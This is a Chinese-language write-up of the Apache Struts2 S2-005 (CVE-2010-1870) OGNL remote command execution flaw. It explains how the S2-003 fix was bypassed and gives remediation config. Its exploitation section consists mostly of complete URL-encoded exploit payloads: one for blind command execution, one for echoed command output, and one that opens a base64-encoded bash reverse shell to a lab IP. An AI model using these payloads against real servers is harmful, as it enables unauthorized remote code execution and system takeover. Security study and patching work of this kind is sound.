漏洞名称

(CVE-2010-1870) - XWork ParameterInterceptors旁路允许远程命令执行

利用条件

Struts 2.0.0 - Struts 2.1.8.1

漏洞原理

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12)，struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象，struts框架通过过滤#字符防止安全问题，然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制，对于S2-003漏洞，官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补，但是安全配置被绕过再次导致了漏洞，攻击者可以利用OGNL表达式将这2个选项打开，S2-003的修补方案把自己上了一个锁，但是把锁钥匙给插在了锁头上

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句，如：

user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

触发漏洞就是利用了这个点，再配合OGNL的沙盒绕过方法，组成了S2-003。官方对003的修复方法是增加了安全模式（沙盒），S2-005在OGNL表达式中将安全模式关闭，又绕过了修复方法。整体过程如下：

  • S2-003 使用\u0023绕过s2对#的防御
  • S2-003 后官方增加了安全模式（沙盒）
  • S2-005 使用OGNL表达式将沙盒关闭，继续执行代码

漏洞利用

1.无回显利用

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/EDI%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

image-20221228180207289

创建文件EDI

image-20221228180224025

2.有回显

注意：更改为post请求

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27whoami%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

image-20221228180445426

2.1 反弹shell

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

特殊字符编码后放入poc

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27bash+-c+{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ%3d%3d}|{base64,-d}|{bash,-i}%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

image-20221228181100027

image-20221228181111242

修复建议

强烈建议升级到 Struts 2.2.1，其中包含更正后的 XWork 库。

可能的缓解解决方法：在 struts 中配置参数内.xml以排除恶意参数

John Wilander 建议的以下附加拦截器引用配置在正确应用时应该可以缓解问题：

<interceptor-ref name=``"params"``>``  ``<param name=``"excludeParams"``>dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.*</param>``</interceptor-ref>

参考文章

https://www.cnblogs.com/blankunbeaten/p/14826753.html